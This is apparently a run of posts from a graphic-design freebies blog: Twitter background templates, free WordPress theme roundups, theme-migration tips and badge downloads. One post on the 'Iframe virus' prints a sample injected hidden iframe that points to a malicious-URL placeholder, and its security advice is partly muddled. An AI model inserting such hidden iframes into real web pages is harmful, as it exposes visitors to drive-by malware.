A lot of our readers are requesting for more Photoshop Twitter background templates. Lately I haven’t got much time to do some serious stuff for designfreebies due to my very busy schedule these days. I just thought of randomly gathering some backgrounds and vector elements and see what I could come up with. So now we have some assorted designs for your twitter backgrounds in easy to modify Photoshop template files. They all come in 1600 x 1200 pixel dimension which is the optimal size for Twitter backgrounds. Browse the template preview images below and download the archive link containing all five Twitter background Photoshop templates. Enjoy!

1. Summer Horizon with Butterflies Twitter Background

2. Summer Horizon with Birds Twitter Background

3. Summer Horizon Plain Twitter Background

4. Ripped Blue Twitter Background

5. Colorful Bird Twitter Background

Download link:
Free Twitter Background Templates in Photoshop PSD: Assorted Designs – 16.6MB

It’s been a while since we rounded up last year our “2009 Year-end Free Quality WordPress Themes“. And barely two months this 2010, quite a number of nice and free WordPress themes already came out. So here we are again sharing with you our first set of a dozen best picks of the freshest free WordPress themes this 2010.

This is timely for some of you planning to change their WordPress theme this 2010. These are also perfect for new WordPress bloggers because these are easy to use, highly customizeable themes loaded with many useful features.

Preview and download your choice theme below. Please check out carefully each theme’s usage policy before you use them. Enjoy!

1. Piano Black by Mono-lab

Dark and clean, cutting-edge two-column design.

Theme Preview
Download

2. Comment Central by ThemeBuilder

High quality WordPress theme by ThemeBuilder. Very colorful grungy theme in two columns with left sidebar dropdown menu and widget-ready.

Theme Preview
Download

3. Sparkler from TopWPThemes

A cool WordPress theme that has built-in ajax gallery, widget, twitter and social bookmarks.

Theme Preview
Download

4. Tutorialicious from TopWPThemes

A beautiful two-column theme with newsletter feature, ajax and widget ready.

Theme Preview
Download

5. Wood3 WP Theme from Skinpress

Theme Preview
Download

6. Tauri WordPress Theme from Skinpress

A clean, no-fuss, straighforward wordpress theme. Great for any blog niche.

Theme Preview
Download

7. Blacko WordPress Theme from Skinpress

A premium looking free WordPress theme complete with all features you need for your blog. Another great WordPress theme for any blog niche.

Theme Preview
Download

8. Recipy WordPress theme from Skinpress

Another great free WordPress theme from Skinpress. A cool and grungy theme perfect for any food, recipe or cooking related blog.

Theme Preview
Download

9. SimpleFolio from Slimmity

This well organized clean looking free WordPress theme has 2 different widget areas, threaded and paged comments, and some advance settings that you can play with.

Theme Preview
Download

10. Choco from New WordPress Themes

This free WordPress theme is as tempting as chocolate loaded with great features like featured content and video, banner ads, social bookmarks, and many more.

Theme Preview
Download

11. Stratie from New WordPress Themes

This very cutting edge looking WordPress theme suits any blog niche. It is also loaded with many great features like banner ads, featured content, social bookmarks, widgets and gravatars. It is also compatible with the latest WP versions.

Theme Preview
Download

12. Blue News from New WordPress Themes

Another great premium looking free WordPress theme from newwpthemes. This theme can be suitable for any niche and not just for news or journalism blogs.

Theme Preview
Download

Obviously, most of you regular readers will notice that Graphic Design Free Resources is now sporting a new look. I’ve been itching to change theme since third quarter this year but I kept holding back and wanted to change it in time for the new year. So here it is, Designfreebies 2010, new year, new theme, new look.

I wanted to have a new theme that looks different from the old one but would like to retain a similar layout and structure so I will have an easy time migrating all contents. Though I had an easy time changing theme, I still wanted to add and change a few things. So expect some small changes here and there occasionally.

For those of you not familiar with how the old Designfreebies theme looks like, here’s a snap. Sorry if this is somewhat small, this is the only screenshot I have. I forgot to snap one before I tore it down.

You will notice that we have a darker site design this time compared to the bright one we previously have. But it’s not totally dark as only the background is dark (and not totally dark black, it’s dark bluish gray) but the contents are still contained in a light grayish box making it easier to read and doesn’t give off too much bright light and strain on the eyes. I hope most of you feels the same way.

So how do you change your WordPress theme smoothly without major glitches? Here are some of the steps I have taken to ensure a goof-proof WordPress theme change.

1. Try it offline first

We don’t normally wear anything and just take off, or wear something for the first time on the event itself only to find out it that doesn’t look right. We usually shop around and fit it first before we decide that its the right outfit that we will wear for some big event. Similarly, you can shop around for WordPress themes and try them on offline first before going live.

So how do you run an offline blog server where you can play around with your themes? You can get XAMPP, install it in your machine and you’re off running your own internal Apache server. You can download XAMMP for Windows from Apache Friends. You can also read a lot of tutorials and guides on how to install XAMMP and WordPress virtually on your PC similar to this wonderful tutorial on XAMMP and WordPress installation.

2. Backup

This is important before you start changing your WordPress theme. You will need to backup up two things, your database and your old theme folder, just in case something went wrong with your new installation and you have to revert back to your old theme. You will be doing database backup first because you will also need it to run a copy of your blog on your PC with XAMMP. There are several WordPress backup plugins that you can use but I prefer either of the two popular backup plugins, “WordPress Backup” or “WP-DB-Backup“.  Then after you have decided which theme you’re going to use and before changing your theme, backup your old theme folder first.

3. Disable all active WordPress plug-ins

Some people reported to have encountered white screen of death after changing their WordPress theme. This is primarily due to incompatible plug-ins with the new theme. So it is better to disable everything first before you change your theme. Then just enable them after. It will be better if you enable them one at a time so you can easily track conflicting plug-ins.

You will also have to re-evaluate your plug-ins as some of them will be redundant with your current theme. Previously, I was using a WordPress plug-in called “Home Excerpt” to make my home page display only excerpts and not full stories. After installing the new theme, I had trouble displaying thumb images on my home page primarily due to the “Home Excerpt” plug-in conflict which I don’t need anymore since my new theme has built-in home excerpt feature. I remove that plug-in and everything works well.

4. Take note of the all settings and changes you made from your old theme files

Aside from backing-up your old theme files, you must also remember which files (php) you made changes to, like places where you added your adsense codes and other ad network codes, a few hacks you did, tracking codes, etc. Take note of them or make a detailed list about all of them.

5. Upload your new theme files and fire away

After carefully doing steps 1 to 4 and uploading all theme files to your server, it’s now time to hit the “activate” new theme button. I would assume that you have already made some customization with your new theme while testing and playing with it offline, like changing your header logo, colors, etc. It would be better if you have done that before you upload and change theme. That is also one main reason why I advise testing your new theme offline first so you can configure and prepare it beforehand before going live. That way, you’ll have seamless transition and avoid warding off visitors while your site changes theme.

6. Configure theme options, customize and optimize it further

You will still need some minor adjustments if you have done customizing it offline because most of the time there are still differences between viewing it offline and online. You will also need to restore your ad codes, site tracking codes, RSS feeds, etc.

At this point, you will also need to check a few things like broken links, possible security loopholes, missing pages or category listings. Further down, you will also need to check if all your plug-ins are properly configured and working. And lastly, see if you can still optimize your blog further like replacing or deleting unnecessary PHP codes, removal of unused plug-ins and themes, removal of unnecessary JavaScripts, etc.

You might also want to read this fine article from Digital Inspiration about “Things that you can do after installing a WordPress theme”.

Well that’s it. I hope these WordPress theme changing tips serves you well and that you’ll have a trouble-free new WordPress theme for your blog this coming new year. I wish everyone a blessed and prosperous 2010. Thank you for such a wonderful 2009 and for your continued support and contribution to Graphic Design Free Resources. Happy new year everyone!

Virus-Overview

As we know, a virus is a malicious piece of code, embedded into the programmer’s code. This “bad” code could be in any programming language including HTML. As Internet has become an integral part of the milieu, with the increasing number of users, alarming number of hackers have turned up. The viruses coded by these hackers are designed to attack the various websites and inject malware into the system, with the single intention of corrupting the Internet usage.

What is the Iframe virus and what does it do?

The IFrame virus is the HTML code <IFrame> embedded into the source code of your webpage. It could be injected into any of the source files, be they html or php or active server pages. It may infect through, mainly, open source CMS (content management system) software like Joomla. The virus modifies the client’s host and access files, and creates dummy .php files in the images directory in the site directory. However, it can only infect those sites in the Web server to which it has access via passwords.

Usually, when the IFRAME code is inserted in the site’s index.* files in all directories, the code added might look like this:

<iframe src= “MALICIOUS_URL” width=1 height=1 style=”visibility:hidden;position:absolute”>

However, recently, it has come to be known, that the “bad” code could be a java script rather than the <IFRAME> tag html code.

What this code does is leave you with tons of iframes, or floating frames as we know them, on your web pages. Each of these Iframes lead to a malicious Web site which if successful leads to installation of malware on your computer.

Before the user realizes, his/her website is flagged as “Sites that may harm your computer” on Google

How it spreads?

Once the user’s PC is infected with the Iframe virus, it can infect other clients easily via FTP. Once it gets hold of another set of FTP username/password combination of another FTP client, it downloads the client’s index files, appends the spurious code into the files and anytime these files are accessed and uploaded, the Iframe virus gets active again. And so the cycle continues.

IFrame Cures?

The Internet is full of news on the Iframe virus and the various cures for it.

There are open source “cure” software’s available, which claim to be able to remove this virus. Also there are many technical bloggers who will give you step by step solution for removing the virus. Alternatively, you may also seek help from your hosting service provider for assistance.

Usually, any robust Anti-virus built into the user’s system triggers off a “Malicious website” alarm and asks access to be denied to it when the Website reports this virus.

Therefore, it is essential for any Internet user to use verified and updated virus definition files of “non-pirated” Anti-virus software. Also, to ensure that this virus does not attack your code, as a programmer, steps should be taken to ensure that the code is free of any “SQL injection” or hard coded username/password combination. Proper encryption/decryption keys should be used to ensure the safety of the authentication. Cookies to store the username and password keys should ideally not be enabled.

Simple steps like these will ensure safe Internet access and prevent spread of any kind of virus through the Web.

This article was written and contributed by Joanna who has been part of web hosting search from last 2 years and following up with the web industry over 3 years now.

I was trying to look for some nice Twitter follow me badges/buttons the other day but couldn’t find some good ones. There are hordes of them Twitter badges, buttons and icons around, some are cute, funny, strange and there are some nice ones too, but I just couldn’t find the right one I’d like to use. So I decided to create some new ones including the one that I am using right now for this site plus one special Christmas Twitter follow me badge.

A total of  seven twitter badges/buttons are included in this set that you can use to tell everyone visiting your site “Hey, I’m on Twitter… Follow me!”, which hopefully are attractive enough for them to notice.

Aside from the vector source file I’m including for download, I also created transparent PNG files in two variant sizes, 150 and 200 pixel wide badges that you can use straight from the can, upload in your server and link up.

Copyright reminder: You may freely download and use all of these graphics, but please do not redistribute the original source files on your website by uploading it to your server or other site. All you have to do is link to this post if you want to share it with your readers and they can download the files from links on this site. Thank you.

Download links:

Mediafire links:
Free Vector Twitter Follow Me Badges (Adobe Illustrator CS4) – 712.7KB
Free Vector Twitter Follow Me Badges (EPS) – 1.71MB
Free Vector Twitter Follow Me Badges (transparent PNG) – 98.34KB

4shared links:
Free Vector Twitter Follow Me Badges (Adobe Illustrator CS4) – 712.7KB
Free Vector Twitter Follow Me Badges (EPS) – 1.71MB
Free Vector Twitter Follow Me Badges (transparent PNG) – 98.34KB

Free high-quality WordPress themes are getting harder to find these past few months, primarily due to two main reasons, a lot of new platforms are being developed and introduced lately and many theme designers these days would rather sell premium themes than develope free ones. But inspite of the free WordPress theme deficit, we were able to gather a few more high-quality premium looking free WordPress themes before the year ends, topping off our previous “10 of the Best Mid-2009 Free WordPress Themes” post.

So if you’re planning to re-design your entire blog during the holidays and in time for the new year, this is the best time to search around for some nice looking free WordPress themes. Browse below from 15 of the freshest free WordPress themes around, download and try them out and see how it would nicely fit your site.

1. Obscure – Free Community Based WordPress Theme

Obscure is a premium dark magazine wordpress theme from wpcrunchy which is suitable for any site niche but would best fit community based sites. It has a lot of features like built-in theme ad blocks, content gallery, twitter integration, social bookmarks and many more.

2. Monkeypr theme

Monkeypr theme is a stylish looking theme that is amusing and fun to look at.

3. Inuit WordPress Theme

This is one nice looking minimalist WordPress theme. It makes use of a lot of whitespace effectively and preview images for each post on the homepage. The theme also comes integrated with Twitter and Flickr.

4. Cardio Minimal

Another minimalist WordPress theme that made it on our list. A clean three-column theme with plenty of white spacse and gray text.

5. Berita Business WordPress Theme

I’m feeling light these days so another minimalist theme made it. Berita is a free business WordPress theme that will suit every company that wants to display its corporate image clearly and professionally. It has some cool features like front page slider, custom language translations, breadcrumbs navigation, SEO options, custom widgets like Twitter and subscription widgets, plus many more.

6. Rockstar Theme from WooThemes

Rockstar theme has simple layout with clean colour palette. It is highly customizeable and neatly coded theme with integrated banner ad management, widgetized sidebar, and 6 different colour schemes to choose from.

7. Mainstream from WooThemes

Another one from WooThemes. Mainstream is a vibrant personal blog theme with five colorful selection of styles, built-in WooThemes flexible theme framework, boasting a selection of theme options. Thumbnails are automatically generated and the sidebar is widgetized.

8. Imprezz from ProductiveDreams

Imprezz is a 3 column WordPress theme with a 3-dimensional second column. This theme supports wordpress 2.7.1 up and works well with the zdcomments widget (a widget that is used to display the top commenters).

9. The Clam Shell from Fearless Flyer

The Clam Shell is a two-column WordPress theme with well organized structure and clean cut design. This straightforward theme has large large icons with CSS sprites, static sidebar with customizable graphics, socialize buttons and many more.

10. Imagination from CSS Jockey

Imagination is a highly customizable WordPress Theme that comes pre-loaded with 9 different site-wide styles to choose from. These styles are great when you want to customize your site according to your mood, occasion or preferences.

11. FreeStyle from Digital Visions

FreeStyle is a three-column WordPress theme built for WordPress 2.8+. FreeStyle has built-in support for sidebar widgets, comments, custom default avatars. Layout & Logo PSD files are also included for easy customization.

12. BlackPower Theme

The latest theme from SkinPress is widget ready with Twitter “follow me” button that also embed your latest tweet in the header. This 2-column theme with black wood effect is completely cross browser tested.

13. Zherald WordPress Theme

Zherald is a hard to resist magazine style WordPress theme. The theme is equipped with an image slider, featured post section, featured video, custom banner ads, adsense integration and many more. Another great thing about this theme is that all required plugins are supplied along with it.

14. Chronicle

Chronicle is a news style WordPress theme developed by Jinsona. This theme has jquery featured news slider, news highlight section, featured video, tabbed content, and news previews with thumbnails.

15. Jungleland

Last to make it on our list is Jungleland WordPress theme from Themelab. This theme has six widgetized areas, including a widgetized footer, as well as a custom widget included with the theme. It also has threaded comments, where WordPress 2.7+ is required.

I don’t mean scrapbooking per se, but rather WordPress themes that has those scrapbook style type of designs. Although some of these free themes are really meant for scrapbook blogs, but all of these can be used for a wide variety of blog types, most suitably for personal blogs, design blogs, diary blogs, travel blogs, and a lot more.

Scrapbooking has been a continuing and evolving hobby, and with the advent of electronic and digital devices, we are seeing more of it referred to as  “digital scrapbooking” or “computer scrapbooks”. Although as a design style, it hasn’t been officially recognized yet in mainstream graphic design, but yet we can claim that it sprouted from one main graphic design style which is the Arts and Crafts Movement of late 19th to early 20th century. And most recently, with the popularity of the grunge design style, we’ve been seeing more websites adopting this kind of scrapbook style grunge mix of design.

Scrapbook style is somewhat related or similar to grunge style, in such a way that both of them are natural, more personal, sentimental and down to earth. They also share similar design elements like hand-written text, torn notes, notepads, sticky notes, random photos, paper clips, adhesive tapes, paper textures, fabrics, and other objects that conveys something personal about its subject. In as much as grunge design doesn’t have to be always deathmetal dark and dirty, a good mix of grunge and scrapbook can help keep things in balance.

So here are 10 free WordPress themes with scrapbook style and a bit of grungy mix that I have gathered so far. Although there aren’t many, I hope a lot of WordPress theme developers would develop and throw more free themes like these. I also saw some good premium scrapbook style themes around in case you’re really dead serious about this type of design and doesn’t mind shelling out a few bucks for a theme.

1. Floral Day by SimplyWP

SimplyWP has released a two column WordPress theme called Floral Day that would be perfect for scrapbook, sewing and craft related blogs.

Demo
Download

2. RedEvo Scrapbook

A free 2-column, widget ready WordPress theme from Redevolution.

Demo
Download

3. Green Scrapbook Diary from Photomix

Here’s a theme developed by SimplyWP for Photomix. A 3-column, fixed-width with right sidebar WordPress theme.

Demo
Download

4. Scrapbook from ericulous

A single column fixed-width with hidden Ajax sidebar from Smashing Free WordPress Themes.

Demo
Download

5. Livin Grunge

This WordPress theme may not be totally scrapbook looking, but it leans more towards being a trendy grunge type of design. It has three columns, adsense ready with advertising blocks, right sidebar, cross browser compatible with IE, FF, Opera, Flock & Safari, valid XHTML & CSS and widget ready.

Demo
Download

6. Outdoorsy

Beautiful two column theme, quite graphics heavy and dark, but very unique.

Demo
Download

7. Fresh Editorial

A professionally and neat looking WordPress theme  with categories and pages in the header and vertical position.

Demo
Download

8. Notepad Chaos

This theme has been featured a lot of times simply because this theme is absolutely gorgeous.

Demo
Download

9. My Diary from Gecko & Fly

My Diary is a two column WordPress theme with a simple design, stylish hand-written text, and its ability to display image of the specific day automatically according to the date the post is written, thus giving it a hand crafted touch to it. Also included in the download package is the Photoshop (PSD) of the header for easy customization.

Demo
Download

10. Photo Frame from Template Lite

A nicely designed Photo Frame theme where you can replace the picture in the middle frame with a photo of your choice.

Demo
Download

It has been gloomy for the past few days, particularly today’s weather. So I thought of doing something suitably gloomy. As I looked around searching for inspiration, I came across some of my grunge textures and backgrounds. I popped-up Photoshop and dabbled some grunge inspired Twitter background templates.

Some of you might say, here we go again doing filthy grunge. I myself always deny that I am big fan of grunge designs. And in as much as I want to stay away from it, I oftentimes find myself doing something grungy. Well I guess, grunge designs are still here to stay. They still linger even after many years Nirvana died. So now, I’m sharing with you, three Twitter background templates in Photoshop, grunge collage style.

All three Photoshop PSD files are archived in one file which you can download from the link provided below. All three PSD files are neatly organized with layers and masks for easy customization. All these Twitter backgrounds doesn’t have any marks of my ownership or advertisement. I want you to use it freely as your very own customized twitter background. All I want you to do if ever you’re going to use it as your Twitter background, is post a link to your twitter account in your comment so all of us can appreciate how these Twitter backgrounds beautifully fit yours.

1. Twitter Grunge Collage Background No. 1 – “Childhood”

Actual size

Full screen preview

2. Twitter Grunge Collage Background No. 2 – “Butterfly”

Actual size

Full screen preview

3. Twitter Grunge Collage Background No. 3 – “Jungle boy”

Actual size

Full screen preview

Download link:
Free Twitter Background Templates in Photoshop PSD: Grunge Collage – 23.06MB

Mirror link:
Free Twitter Background Templates in Photoshop PSD: Grunge Collage – 23.06MB

A lot of people are into photography these days. I myself have been recently bitten by the photography bug and would also like to have a photo blog soon. Looking around for some inspiring photo blogs, I came across a dozen free but premium looking photo blog WordPress themes. Which inspired me even more to start a photo blog.

These maybe few but I hope you find something suitable if you are also looking to start your own photo blog or if you just want a new theme for an existing one. If you also happen to know similarly free stunning photo blog WordPress themes that are not included in this list, you are most welcome to share it with us by mentioning about it in your comments. Enjoy!

1. Fotofolio

A very simple and easy to use free wordpress template designed for online portfolios of photographers, visual artists, graphic designers, etc. Fotofolio is created by Pupung Budi Purnama. Fotofolio is released under Creative Common Licence.

Demo
Download Theme
Download PSD Logo

2. Viewport

A simple 1 column WordPress theme by Paulicio at New WP Themes.

Demo
Download theme

3. The Unstandard

Simple yet cutting edge design created by Derek Punsalan of 5ThirtyOne. This WordPress theme has 3 columns and 3 widget zones.

Demo
Download theme

4. Autofocus 1.0.1

A simple yet elegant theme for photo blogs created by Allan Cole.

Demo
Download theme

5. Going Pro Gallery Theme

A gallery theme with clean table like design created by Alexandru Negrea for Going Pro.

Demo
Download theme

6. Photo Blog theme from WPGlamour

An eye-catching photo blog theme with single column from WP Glamour.

Demo
Download theme

7. Aperio

Stylish and pretty photo blog theme created by Robert Ellis of Futurosity.

Demo
Download theme

8. Folio Elements

This is a very basic WordPress theme with a clean and efficient design intended to put your best content forward in a way that is enticing and fun for the user.

Demo
Download link

9. Gallery WordPress Theme by Chris Wallace

Gallery is a beautiful showcase-style WordPress theme created by Chris Wallace, built on the Thematic framework as a child theme.

Demo
Download Gallery 1.2.1
Download Thematic 0.9.5

10. Galleria WordPress Photo Blog Theme

Beautiful grungy looking 2 columns, fixed-width with threaded comments free theme for photo blog or online portfolio.

Demo
Download theme

11. Professor – Free Photo Blog WordPress Theme

Professor may not be designed specifically as a photo blog but this brown-tinged, two-column WordPress theme displays images with such elegance and clarity that probably makes me include it among the top 12 photo blog theme favorites.

Download theme for WordPress 2.3
Download theme for WordPress 2.5

Also Available in Blue Professor variant.

12. Photography

And last but not the least, a free theme called Photography. It may sound generic but design wise, it looks top-notch elegant and not far from any premium magazine or photo gallery themes around. It is a widget ready theme that can effectively showcase your portfolio or photo gallery.

Demo
Download link

Our last free Twitter background template set in Photoshop featuring paperworks design is a smash hit. Thanks to all who featured our Twitter backgrounds in their respective sites. Now I am more inspired to design and give you more free Photoshop Twitter background templates. So I thought, if we had paper last time, let’s have some wood designs this time.

Wood and paper designs have been showcased a lot of times by design blogs as some of the popular web design trends these days. Though it’s really hard to foresee what design trend will remain or come up next simply because designers are a fickle lot. We love to experiment on new and unusual things. But there are design trends that really stick longer and eventually become classics. And among those few design trends that I think will stick around for a longer period of time are wood and paper textured designs coupled with some collages, personalized hand written texts, and hand drawn design elements. And those designs are exactly what we have today.

I made two template designs in Photoshop. Each template design have two wooden texture backgrounds that you can choose. You just have to hide the top background layer to see how the next one looks like. Similar with all our other PSD Twitter templates, all design elements are neatly layered for easy customization. You can move them around and arrange them according to your preferences.  Displayed below are preview images of our two design template files. First image preview is the actual size upper left portion of the background, followed by two full screen preview of both wood backgrounds. Download link for the single archive file is provided further down. Enjoy.

Twitter Wood Background Design #1

Full screen preview:

Twitter Wood Background Design #2

Full scree preview:

Download link:
Free PSD Twitter Background Template Wood Designs – 12.78MB

Mirror links:
Twitter background template – 4shared download link
Twitter background template – divshare download link